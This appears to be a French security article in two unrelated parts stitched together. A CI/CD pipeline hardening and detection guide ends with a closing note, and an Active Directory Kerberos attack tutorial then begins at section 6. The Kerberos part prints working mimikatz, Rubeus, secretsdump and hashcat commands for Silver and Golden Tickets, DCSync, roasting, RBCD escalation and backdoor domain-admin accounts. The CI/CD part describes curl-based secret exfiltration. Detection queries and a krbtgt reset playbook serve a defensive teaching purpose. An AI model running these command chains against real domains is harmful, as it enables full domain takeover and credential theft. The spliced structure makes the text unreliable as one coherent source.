Attaques sur CI/CD (GitHub Actions, GitLab, runners)

Résumé exécutif

Les pipelines CI/CD sont devenus la colonne vertébrale des livraisons logicielles. GitHub Actions, GitLab CI, Azure DevOps Pipelines et des solutions auto-hébergées orchestrent des exécutions automatisées : builds, tests, déploiements. Cette surface attire les attaquants, qui cherchent à exfiltrer des secrets, modifier du code, injecter des backdoors ou pivoter vers des environnements de production. Les attaques récentes démontrent la variété des vecteurs : pull requests malveillantes, compromission de runners, packages piégés, jetons OIDC, self-hosted runners exposés. Cet article fournit une analyse en profondeur des risques CI/CD, des stratégies de durcissement (hygiène des secrets, politiques), des mécanismes de détection des exécutions suspectes et des playbooks de réponse. L'objectif est d'offrir une feuille de route complète pour sécuriser les pipelines tout en préservant l'agilité DevOps.

Cartographie des composants CI/CD

Un pipeline CI/CD comprend plusieurs éléments :

• Dépôts (GitHub, GitLab, Bitbucket) : code, workflows.
• Pipelines : fichiers YAML (GitHub Actions workflow, GitLab .gitlab-ci.yml).
• Runners : machines exécutant les jobs (hosted ou self-hosted).
• Secrets : tokens, clés, variables (GitHub Secrets, GitLab Variables).
• Artefacts : images, binaires, packages.
• Intégrations : webhooks, OIDC, cloud accounts.

Les surfaces d’attaque touchent chacun de ces composants. Les attaques peuvent être chainées : compromission de runner -> vol de secrets -> modification de workflow -> persistance.

Scénarios d'attaque récurrents

1. Pull request malveillante : un attaquant soumet un PR avec un workflow manipulé ; si les actions s’exécutent sur forks avec secrets, elles sont exfiltrées. 2. Compromission de runner : un runner self-hosted vulnérable (OS obsolète, Docker socket exposé) permet un pivot. 3. Secrets exposés : secrets loggés ou accessibles depuis des PR non fiables. 4. Packages tiers compromis : réutilisation d’actions, de scripts, de modules non vérifiés. 5. OIDC : abus du token OIDC pour assumer des rôles cloud (AWS, GCP) avec politique mal configurée. 6. Webhooks : manipulation des webhooks pour déclencher des builds avec modifications malveillantes.

GitHub Actions : spécificités de sécurité

Gestion des permissions

Les workflows GitHub Actions s’exécutent avec un GITHUBTOKEN par défaut (permissions read/write selon configuration). Par défaut, GITHUBTOKEN a l'accès write aux dépôts. Les organisations doivent restreindre via permissions :

permissions:
  contents: read
  pull-requests: write

Pour les workflows sensibles (production), on désactive l'accès par défaut et utilise des PAT/SSH contrôlés. On configure Dependabot alerts pour surveiller les actions vulnérables.

Runners hébergés vs self-hosted

Les runners GitHub hébergés sont éphémères, réduisant la persistance. Les self-hosted doivent être isolés :

• OS minimal, patché.
• Exécution dans un réseau restreint, sans accès Internet direct.
• Pas de Docker daemon exposé (/var/run/docker.sock).
• Reset complet entre builds (clean-up, snapshot).

Les logs Actions doivent être collectés, ainsi que les Runner logs. Les événements Workflow run sont monitorés via GitHub API.

Forks et contributions externes

Les workflows déclenchés via PR provenant de forks ne reçoivent pas les secrets. Toutefois, certains workflows utilisent pullrequesttarget (exécute dans le contexte du repo cible), exposant des secrets. Les organisations doivent :

• Éviter pullrequesttarget sauf si strictement contrôlé.
• Revue manuelle des PR avant exécution.
• Utiliser des environnements (Environments) avec required reviewers pour secrets critiques.

Reuse d'actions

Les actions GitHub (marketplace) peuvent être modifiées. Il faut :

• Pinning sur SHA (uses: actions/checkout@).
• Auditer les actions third-party (code review, repo trust), utiliser actions/checkout@v4 signature.
• Héberger des actions internes (private repo) pour éviter dépendance externe.

GitLab CI : éléments spécifiques

GitLab propose :

• Variables (Masked, Protected).
• Runners shared, group, project.
• Environnements, approvals.

Les risques :

• Runners partagés multi-tenants (dépend de GitLab SaaS).
• Jobs non protégés exécutant sur Protected branches.
• Variables non masquées dans logs.

Les bonnes pratiques :

• Utiliser protected runners pour les branches protégées.
• Activer Allow only protected branches to use certain runners.
• Restriction des Trigger tokens et Pipeline schedules.
• Pinning des include (templates CI).

Azure DevOps, Jenkins et autres

Azure DevOps

• Self-hosted agents : isoler, patcher.
• Libraries secure (Variable groups, Key Vault).
• Limitations Service connections (Azure, AWS).

Jenkins

• Agents (Jenkins nodes) : isolés, auto-supprimés.
• Credentials binding, secrets rotated.
• Plugins : revue, signature.

Les principes restent similaires : isolation, least privilege, logs.

Hygiène des secrets

Stockage

• Utiliser les stores natifs (GitHub Secrets, GitLab Variables).
• Intégrer des vaults (HashiCorp Vault, AWS Secrets Manager) via OIDC.
• Éviter les secrets en clair dans YAML.

Rotation

• Automatiser via pipelines (GitHub actions + Vault rotation).
• Utiliser des secrets éphémères (SOPS, sealed secrets).

Scope

• Scoper le secret à l’environnement (dev/test/prod).
• Utiliser environment protection (approvals).

Protection logs

• Secrets masked (***). Les actions doivent éviter de logguer env vars (set -x interdit).
• On audite les logs pour fuites (regex). Des outils (GitGuardian CI) scannent.

OIDC et fédération cloud

GitHub, GitLab offrent OIDC pour assumer des rôles AWS/GCP/Azure. Risques :

• Policies IAM permissives (audience non restreint, sub wildcard).

Mitigations :

• IAM Condition StringEquals sur token.actions.githubusercontent.com:sub (repo, workflow, ref).
• Durée de session réduite (900s).
• Logging CloudTrail des AssumeRoleWithWebIdentity.

La détection : alertes sur AssumeRole depuis GitHub, comparaison avec prévision. Des scripts Validate token vérifient le aud, sub.

Détection des exécutions suspectes

Logs et observabilité

• GitHub : audit log, Actions logs, Workflow run events.
• GitLab : audit events, job logs.
• Jenkins : Build history, Audit Trail plugin.

Les logs sont exportés vers SIEM. On surveille :

• Exécutions hors horaires (nuit).
• Workflows déclenchés manuellement (workflowdispatch) par comptes non autorisés.
• Jobs échoués multiples sur secrets.
• Modifications de workflows (commits YAML) non revues.

GitHubAuditLogs
| where Action == "repo.workflow.run"
| where Actor !in ("service accounts autorisés")
| summarize count() by Actor, Repo, bin(TimeGenerated, 1h)

index=gitlab sourcetype=gitlab:api event.type="job" status="running" user.name!=allowed

• Vérifier que permissions est défini.
• Interdire pullrequesttarget sans exception.
• Vérifier actions pinned sur commit.

Des chercheurs ont démontré l'extraction de secrets via pullrequesttarget. GitHub a mis à jour guidelines. Les organisations ont revu leurs workflows.

• action=org.updatemember.
• repo.secret.create, repo.secret.update.
• repo.actions.workflow.disabled.

Logs ingérés via API (GraphQL auditLog). KQL :

GitHubAuditLogs
| where Action in ("secret.create", "secret.update")
| summarize count() by Actor, Repo, bin(TimeGenerated, 1h)
| where count > 3

• keycreated, variablecreated, userimpersonated.
• protectedbranchupdated.

Logs envoyés (Webhooks). Splunk :

index=gitlab eventsubtype="variablecreated" 
| stats count by user.username, project.pathwithnamespace

Alertes sur Runner registered sans justif.

Rôles et IAM

• GitHub : restreindre Admin repo, utiliser Teams, SAML SSO, SCIM.
• GitLab : Maintainer vs Developer. Protéger Owner.

MFA obligatoire (SAML/SSO). Les comptes de service ont secrets minimes, rotation. Les sessions (PAT) expirer. On évite l'utilisation des PAT pour automation (préférer GITHUBTOKEN). Les PAT sont audités (script API).

1. Isoler runners (shutdown). 2. Révoquer tokens (GITHUBTOKEN, PAT, cloud credentials). 3. Suspendre workflows (disable repo actions). 4. Analyser logs (jobs, commits, secrets exfil). 5. Restaurer depuis known good (workflow, code). 6. Communiquer (dev teams, management).

Les playbooks incluent un plan pour rotation secrets, invalidation caches (npm, pip). On exécute des hunts sur push malveillants. Les rapports d'incident incluent timeline (compromission -> exfil).

Chasse proactive

• Jobs exécutés via workflowdispatch par comptes anormaux.
• Runner registrations (GET /actions/runners) -> delta.
• Secrets modifiés (Graph API) -> check commit.
• OIDC assumption logs -> anomalies.

1. Créer un fork du dépôt ciblé. 2. Modifier un workflow pullrequesttarget pour exécuter un script. 3. Soumettre un PR ; le workflow s'exécute dans le contexte du dépôt parent, avec secrets. 4. Le script exfiltre AWSACCESSKEY via curl.

Mitigation : remplacer pullrequesttarget par pullrequest, éviter d'accorder secrets aux PR externes. Utiliser secrets: inherit uniquement pour repos internes. Les organisations ont mis en place des revues CODEOWNERS sur .github/workflows. La détection : GitHub Audit log action=repo.workflow.run + Workflow name=Pull Request. Les SIEM alertent quand le workflow exécute un curl vers IP externe.

Gestion des environnements et approvals

Les Environments GitHub (prod, staging) permettent :

• Secrets par environnement.
• Protection (reviewers, wait timer).
• deployment branches restrictions.

Les workflows doivent recourir aux environments pour les déploiements. Les reviewers (SecOps) valident. GitLab Environments + Manual job + Approvals. Azure DevOps Environment approvals. Ces mécanismes empêchent les déploiements automatiques depuis PR non validés. Les logs d'approbation sont audités (timestamp, approver).

Multi-tenant et isolation organisationnelle

Les entreprises multi-équipes :

• Niveaux d'organisation (GitHub Orgs).
• Enterprise Managed Users (GitHub) pour SSO imposé.
• Group GitLab, Subgroups pour segmentation.

Les droits sont gérés via Teams (GitHub) ou Group Members (GitLab). Principes : pas de Owner multiples, comptes de service séparés, SSO SAML. Les logs SAML (Azure AD) surveillent les accès. On applique IP allow list (GitHub Enterprise). Les organisations isolent les pipelines production dans une org distincte (limite l'effet d'une compromission).

Détection d'exécutions suspectes sur runners

Les logs de runners (self-hosted) sont centralisés (Elastic, Splunk). On surveille :

• Processus inattendus (nc, curl vers IP non internes).
• Accès root (sudo).
• Création de fichiers dans /tmp (reverse shell).

Osquery queries :

SELECT * FROM processes WHERE parent = (SELECT pid FROM processes WHERE name='runsvc.sh') AND name NOT IN ('bash','sh','python','node');

Falco règle :

- rule: Suspicious Runner Outbound
  condition: container.name startswith ci-runner and fd.sip not in (runnerallowlist)

Des scripts garantissent que GITHUBWORKSPACE est pur. Les runners se détruisent après job. Si persistent (GitLab), executor shell doit être restreint. On surveille la taille du disque (residu = suspect).

Gestion des credentials clonés

Le GITHUBTOKEN ne doit pas être utilisé en dehors du job. On évite de stocker PAT dans caches. Les caches (actions/cache) peuvent rester. On configure cache avec key unique par job, purgé. Les caches contenant secrets sont supprimés (API). On interdit persist-credentials: true (checkout) si non nécessaire. GitLab : GITSTRATEGY=clone vs fetch. On vidange .git après usage.

Notification et communication DevOps

Les notifications (Slack/Teams) :

• Nouveau runner enregistré.
• Workflow modifié.
• Job manuel déclenché.

Les bots (GitHub Apps) publient. Les DevOps valident. Les messages contiennent un lien vers logs, diff. Les canaux (SecOps + DevOps) permettent action rapide. On inclut security champions.

Gestion des dépendances pipeline

Les pipelines utilisent des packages (npm, pip) pour exécuter scripts. Risques : supply chain (typosquatting). Mesures :

• Registry interne (npm config set registry).
• Signature (npm --otp).
• Lockfiles, npm audit.

Des outils (Dependabot) gèrent updates. Les updates sont review (CI). On vérifie les scripts postinstall. Les politiques restreignent npm install depuis Internet pour jobs production.

Logs Git : détection modifications workflows

On surveille commits modifiant .github/workflows/ :

GitEvents
| where FilePath endswith ".yml" and FilePath contains ".github/workflows"
| summarize count() by Author, Repo, bin(TimeGenerated, 1d)

Alerter sur modifications par comptes non CODEOWNERS. GitLab : Push hook -> analyser modifiedpaths. Les revues refusent si pipeline modifié sans story sécurité.

• H1 : Jobs workflowdispatch > 5 la nuit -> investigate.
• H2 : Runner add event sans ticket.
• H3 : Secrets updated > 10/jour par user.
• H4 : OIDC usage from new repo.
• H5 : Jobs fails retrieving dependencies -> possible MITM.

Chaque hunt documenté, automatisé (Sentinel workbook). Résultats review.

FAQ technique

Checklist finale

1. Branch protection, CODEOWNERS pour workflows, review obligatoire. 2. PIN des actions, dependencies verifiées, templating. 3. Secrets : store sécurisé, rotation, masquage, scope. 4. Runners : isolation, ephemeral, monitoring, cleanup. 5. OIDC : conditions strictes, logs, guardrails IAM. 6. Logs : ingestion audit (GitHub/GitLab), SIEM, alertes. 7. Détection : anomalies jobs, consentement manual, exfil. 8. Response : playbooks, rotation auto, communication. 9. Roadmap : SLSA, cosign, scoring, bug bounty. 10. Gouvernance : DevSecOps, training, compliance, documentation.

La mise en œuvre de cette checklist réduit considérablement la surface d'attaque des pipelines CI/CD et permet de détecter rapidement toute exécution suspecte.

Perspectives futures

Les plateformes CI/CD évoluent vers davantage d'attestation, d'isolation et de gouvernance. GitHub introduit Actions OIDC audiences multiples, id-token conditionnel ; GitLab développe Pipeline provenance et Vault integration. Les tendances :

• Adoption de buildkit hermétiques, exécution dans des environnements enclavés (gVisor, Firecracker).
• Intégration des pipelines dans des plateformes sécurisées (Google Cloud Build, AWS CodeBuild) avec isolation gérée.
• Standards SLSA et NIST SSDF devenant requis contractuellement.
• Utilisation de l'IA pour détecter des anomalies pipeline en temps réel.

Les organisations doivent rester vigilantes, adopter ces innovations et maintenir une boucle d'amélioration continue afin de conserver la confiance dans leur chaîne de livraison logicielle.

Note finale

La réussite des programmes CI/CD sécurisés repose sur la collaboration continue entre développeurs, SRE et équipes sécurité. En investissant dans la visibilité, l'automatisation et la culture DevSecOps, les entreprises transforment la sécurité en accélérateur de delivery plutôt qu'en frein.

Continuer à tester régulièrement les pipelines contre des scénarios adverses garantit que ces contrôles restent efficaces face aux TTP émergentes. Cette vigilance continue reste indispensable.

6. Silver Ticket : falsification de tickets de service

6.1 Principe et mécanisme

Un Silver Ticket est un ticket de service forgé sans interaction avec le KDC. Si un attaquant obtient le hash NTLM (ou la clé AES) d'un compte de service, il peut créer des tickets de service valides pour ce service sans que le DC ne soit contacté. Le ticket forgé contient un PAC (Privilege Attribute Certificate) arbitraire, permettant à l'attaquant de s'octroyer n'importe quels privilèges pour le service ciblé.

Contrairement au Golden Ticket qui forge un TGT, le Silver Ticket forge directement un Service Ticket, ce qui le rend plus discret car il ne génère pas d'événement 4768 (demande de TGT) ni 4769 (demande de ST) sur le DC.

6.2 Création et injection de Silver Tickets

# Création d'un Silver Ticket pour le service CIFS
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:server01.domain.local /service:cifs /rc4:serviceaccounthash /ptt

# Silver Ticket pour service HTTP (accès web avec IIS/NTLM)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:webapp.domain.local /service:http /aes256:serviceaes256key /ptt

# Silver Ticket pour LDAP (accès DC pour DCSync)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:dc01.domain.local /service:ldap /rc4:dccomputerhash /ptt

# Silver Ticket pour HOST (WMI/PSRemoting)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:server02.domain.local /service:host /rc4:computerhash /ptt

6.3 Cas d'usage spécifiques par service

6.4 Détection des Silver Tickets

# Activer la validation PAC stricte (GPO)
Computer Configuration > Policies > Windows Settings > Security Settings > 
Local Policies > Security Options > 
"Network security: PAC validation" = Enabled

# Script PowerShell pour corréler accès et tickets KDC
$timeframe = (Get-Date).AddHours(-1)
$kdcEvents = Get-WinEvent -FilterHashtable @{LogName='Security';ID=4768,4769;StartTime=$timeframe}
$accessEvents = Get-WinEvent -FilterHashtable @{LogName='Security';ID=4624;StartTime=$timeframe} | 
    Where-Object {$_.Properties[8].Value -eq 3} # Logon type 3 (network)

# Identifier les accès sans ticket KDC correspondant
$accessEvents | ForEach-Object {
    $accessTime = $_.TimeCreated
    $user = $_.Properties[5].Value
    $matchingKDC = $kdcEvents | Where-Object {
        $_.Properties[0].Value -eq $user -and 
        [Math]::Abs(($_.TimeCreated - $accessTime).TotalSeconds) -lt 30
    }
    if (-not $matchingKDC) {
        Write-Warning "Accès suspect sans ticket KDC: $user à $accessTime"
    }
}

7. Golden Ticket : compromission totale du domaine

7.1 Principe et impact

Le Golden Ticket représente l'apex de la compromission Kerberos. En obtenant le hash du compte krbtgt (le compte de service utilisé par le KDC pour signer tous les TGT), un attaquant peut forger des TGT arbitraires pour n'importe quel utilisateur, y compris des comptes inexistants, avec des privilèges et une durée de validité de son choix (jusqu'à 10 ans).

Un Golden Ticket offre une persistance exceptionnelle : même après la réinitialisation de tous les mots de passe du domaine, l'attaquant conserve son accès tant que le compte krbtgt n'est pas réinitialisé (opération délicate nécessitant deux réinitialisations espacées).

7.2 Extraction du hash krbtgt

L'obtention du hash krbtgt nécessite généralement des privilèges d'administrateur de domaine ou l'accès physique/système à un contrôleur de domaine. Plusieurs techniques permettent cette extraction :

# DCSync du compte krbtgt
mimikatz # lsadump::dcsync /domain:domain.local /user:krbtgt

# DCSync de tous les comptes (dump complet)
mimikatz # lsadump::dcsync /domain:domain.local /all /csv

# DCSync depuis Linux avec impacket
python3 secretsdump.py domain.local/admin:[email protected] -just-dc-user krbtgt

# Création d'une copie shadow avec ntdsutil
ntdsutil "ac i ntds" "ifm" "create full C:\temp\ntds_backup" q q

# Extraction avec secretsdump (impacket)
python3 secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

# Extraction avec DSInternals (PowerShell)
$key = Get-BootKey -SystemHivePath 'C:\temp\SYSTEM'
Get-ADDBAccount -All -DBPath 'C:\temp\ntds.dit' -BootKey $key | 
    Where-Object {$_.SamAccountName -eq 'krbtgt'}

7.3 Forge et utilisation du Golden Ticket

# Golden Ticket basique (RC4)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /krbtgt:krbtgt_ntlm_hash /ptt

# Golden Ticket avec AES256 (plus discret)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /aes256:krbtgt_aes256_key /ptt

# Golden Ticket avec durée personnalisée (10 ans)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /krbtgt:krbtgt_ntlm_hash /endin:5256000 /renewmax:5256000 /ptt

# Golden Ticket pour utilisateur fictif
kerberos::golden /user:FakeAdmin /domain:domain.local /sid:S-1-5-21-... \
    /krbtgt:krbtgt_ntlm_hash /id:500 /groups:512,513,518,519,520 /ptt

# Exportation du ticket vers fichier
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /krbtgt:krbtgt_ntlm_hash /ticket:golden.kirbi

# Injection du ticket dans la session
mimikatz # kerberos::ptt golden.kirbi

# Vérification du ticket injecté
klist

# Utilisation du ticket pour accès DC
dir \\dc01.domain.local\C$
psexec.exe \\dc01.domain.local cmd

# Création de compte backdoor
net user backdoor P@ssw0rd! /add /domain
net group "Domain Admins" backdoor /add /domain

# DCSync pour maintenir la persistance
mimikatz # lsadump::dcsync /domain:domain.local /user:Administrator

7.4 Détection avancée des Golden Tickets

# Script de détection des anomalies Kerberos
# Recherche des authentifications sans événement TGT correspondant
$endTime = Get-Date
$startTime = $endTime.AddHours(-24)

$logons = Get-WinEvent -FilterHashtable @{
    LogName='Security'
    ID=4624
    StartTime=$startTime
} | Where-Object {
    $_.Properties[8].Value -eq 3 -and # Logon Type 3
    $_.Properties[9].Value -match 'Kerberos'
}

$tgtRequests = Get-WinEvent -FilterHashtable @{
    LogName='Security'
    ID=4768
    StartTime=$startTime
} | Group-Object {$_.Properties[0].Value} -AsHashTable

foreach ($logon in $logons) {
    $user = $logon.Properties[5].Value
    $time = $logon.TimeCreated
    
    if (-not $tgtRequests.ContainsKey($user)) {
        Write-Warning "Golden Ticket suspect: $user à $time (aucun TGT)"
    }
}

# Détection de tickets avec durée de vie anormale
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4768} |
    Where-Object {
        $ticketLifetime = $_.Properties[5].Value
        $ticketLifetime -gt 43200 # > 12 heures
    } | ForEach-Object {
        Write-Warning "Ticket avec durée anormale: $($_.Properties[0].Value)"
    }

8. Chaîne d'attaque complète : scénario réel

8.1 Scénario : De l'utilisateur standard au Domain Admin

Examinons une chaîne d'attaque complète illustrant comment un attaquant peut progresser depuis un compte utilisateur standard jusqu'à la compromission totale du domaine en exploitant les vulnérabilités Kerberos.

Phase 1 : Reconnaissance initiale (J+0, H+0)

# Compromission initiale : phishing avec accès VPN
# Énumération du domaine avec PowerView
Import-Module PowerView.ps1

# Identification du domaine et des DCs
Get-Domain
Get-DomainController

# Recherche de comptes sans préauthentification
Get-DomainUser -PreauthNotRequired | Select samaccountname,description

# Sortie : svc_reporting (compte de service legacy)

# Énumération des SPNs
Get-DomainUser -SPN | Select samaccountname,serviceprincipalname

# Sortie : 
# - svc_sql : MSSQLSvc/SQL01.corp.local:1433
# - svc_web : HTTP/webapp.corp.local

Phase 2 : AS-REP Roasting (J+0, H+1)

# Extraction du hash AS-REP pour svc_reporting
.\Rubeus.exe asreproast /user:svc_reporting /format:hashcat /nowrap

# Hash obtenu : [email protected]:8a3c...

# Craquage avec Hashcat
hashcat -m 18200 asrep.hash rockyou.txt -r best64.rule

# Mot de passe craqué en 45 minutes : "Reporting2019!"

# Validation des accès
net use \\dc01.corp.local\IPC$ /user:corp\svc_reporting Reporting2019!

Phase 3 : Kerberoasting et compromission de service (J+0, H+2)

# Avec le compte svc_reporting, effectuer du Kerberoasting
.\Rubeus.exe kerberoast /user:svc_sql /nowrap

# Hash obtenu pour svc_sql (RC4)
$krb5tgs$23$*svc_sql$CORP.LOCAL$MSSQLSvc/SQL01.corp.local:1433*$7f2a...

# Craquage (6 heures avec GPU)
hashcat -m 13100 tgs.hash rockyou.txt -r best64.rule

# Mot de passe : "SqlService123"

# Énumération des privilèges de svc_sql
Get-DomainUser svc_sql -Properties memberof

# Découverte : membre du groupe "SQL Admins" 
# Ce groupe a GenericAll sur le groupe "Server Operators"

Phase 4 : Élévation via délégation RBCD (J+0, H+8)

# Vérification des permissions avec svc_sql
Get-DomainObjectAcl -Identity "DC01$" | ? {
    $_.SecurityIdentifier -eq (Get-DomainUser svc_sql).objectsid
}

# Découverte : WriteProperty sur msDS-AllowedToActOnBehalfOfOtherIdentity

# Création d'un compte machine contrôlé
Import-Module Powermad
$password = ConvertTo-SecureString 'AttackerP@ss123!' -AsPlainText -Force
New-MachineAccount -MachineAccount EVILCOMPUTER -Password $password

# Configuration RBCD sur DC01
$ComputerSid = Get-DomainComputer EVILCOMPUTER -Properties objectsid | 
    Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer DC01 | Set-DomainObject -Set @{
    'msds-allowedtoactonbehalfofotheridentity'=$SDBytes
}

# Exploitation S4U pour obtenir ticket Administrator vers DC01
.\Rubeus.exe s4u /user:EVILCOMPUTER$ /rc4:computerhash \
    /impersonateuser:Administrator /msdsspn:cifs/dc01.corp.local /ptt

# Accès au DC comme Administrator
dir \\dc01.corp.local\C$

Phase 5 : Extraction krbtgt et Golden Ticket (J+0, H+10)

# DCSync depuis le DC compromis
mimikatz # lsadump::dcsync /domain:corp.local /user:krbtgt

# Hash krbtgt obtenu :
# NTLM: 8a3c5f6e9b2d1a4c7e8f9a0b1c2d3e4f
# AES256: 2f8a6c4e9b3d7a1c5e8f0a2b4c6d8e0f...

# Obtention du SID du domaine
whoami /user
# S-1-5-21-1234567890-1234567890-1234567890

# Création du Golden Ticket
kerberos::golden /user:Administrator /domain:corp.local \
    /sid:S-1-5-21-1234567890-1234567890-1234567890 \
    /aes256:2f8a6c4e9b3d7a1c5e8f0a2b4c6d8e0f... \
    /endin:5256000 /renewmax:5256000 /ptt

# Validation : accès total au domaine
net group "Domain Admins" /domain
psexec.exe \\dc01.corp.local cmd

# Établissement de persistance multiple
# 1. Création de compte backdoor
net user h4ck3r Sup3rS3cr3t! /add /domain
net group "Domain Admins" h4ck3r /add /domain

# 2. Modification de la GPO par défaut pour ajout de tâche planifiée
# 3. Création de SPN caché pour Kerberoasting personnel
# 4. Exportation de tous les hashes du domaine

8.2 Timeline et indicateurs de compromission

9. Architecture de détection et réponse

9.1 Stack de détection recommandée

Une détection efficace des attaques Kerberos nécessite une approche en profondeur combinant plusieurs technologies et méthodes.

# Détection AS-REP Roasting
index=windows sourcetype=WinEventLog:Security EventCode=4768 Pre_Authentication_Type=0
| stats count values(src_ip) as sources by user
| where count > 5
| table user, count, sources

# Détection Kerberoasting (multiples TGS-REQ avec RC4)
index=windows sourcetype=WinEventLog:Security EventCode=4769 Ticket_Encryption_Type=0x17
| stats dc(Service_Name) as unique_services count by src_ip user
| where unique_services > 10 OR count > 20

# Détection DCSync
index=windows sourcetype=WinEventLog:Security EventCode=4662 
    Properties="*1131f6aa-9c07-11d1-f79f-00c04fc2dcd2*" OR 
    Properties="*1131f6ad-9c07-11d1-f79f-00c04fc2dcd2*"
| where user!="*$" AND user!="NT AUTHORITY\\SYSTEM"
| table _time, user, dest, Object_Name

# Détection Golden Ticket (authent sans TGT)
index=windows sourcetype=WinEventLog:Security EventCode=4624 Logon_Type=3 Authentication_Package=Kerberos
| join type=left user _time [
    search index=windows sourcetype=WinEventLog:Security EventCode=4768
    | eval time_window=_time
    | eval user_tgt=user
]
| where isnull(user_tgt)
| stats count by user, src_ip, dest

9.2 Playbook de réponse aux incidents

# Script de réponse d'urgence - Reset krbtgt
# À exécuter depuis un DC avec DA privileges

# Phase 1 : Collecte d'informations
$domain = Get-ADDomain
$krbtgt = Get-ADUser krbtgt -Properties PasswordLastSet, msDS-KeyVersionNumber

Write-Host "[+] Domaine: $($domain.DNSRoot)"
Write-Host "[+] Dernier changement mot de passe krbtgt: $($krbtgt.PasswordLastSet)"
Write-Host "[+] Version clé actuelle: $($krbtgt.'msDS-KeyVersionNumber')"

# Phase 2 : Premier reset
Write-Host "[!] Premier reset du compte krbtgt..."
$newPassword = ConvertTo-SecureString -AsPlainText -Force -String (
    -join ((65..90) + (97..122) + (48..57) | Get-Random -Count 128 | % {[char]$_})
)
Set-ADAccountPassword -Identity krbtgt -NewPassword $newPassword -Reset

Write-Host "[+] Premier reset effectué. Attendre 24h avant le second reset."
Write-Host "[!] Vérifier la réplication AD avant de continuer."

# Vérification de la réplication
repadmin /showrepl

# Phase 3 : Après 24h - Second reset
Write-Host "[!] Second reset du compte krbtgt..."
$newPassword2 = ConvertTo-SecureString -AsPlainText -Force -String (
    -join ((65..90) + (97..122) + (48..57) | Get-Random -Count 128 | % {[char]$_})
)
Set-ADAccountPassword -Identity krbtgt -NewPassword $newPassword2 -Reset

Write-Host "[+] Reset krbtgt terminé. Tous les tickets Kerberos précédents sont invalidés."

# Phase 4 : Actions post-reset
Write-Host "[!] Actions recommandées:"
Write-Host "1. Forcer la reconnexion de tous les utilisateurs"
Write-Host "2. Redémarrer tous les services utilisant des comptes de service"
Write-Host "3. Vérifier les GPOs et objets AD suspects"
Write-Host "4. Auditer les comptes créés récemment"

# Audit rapide
Get-ADUser -Filter {Created -gt (Get-Date).AddDays(-7)} | 
    Select Name, Created, Enabled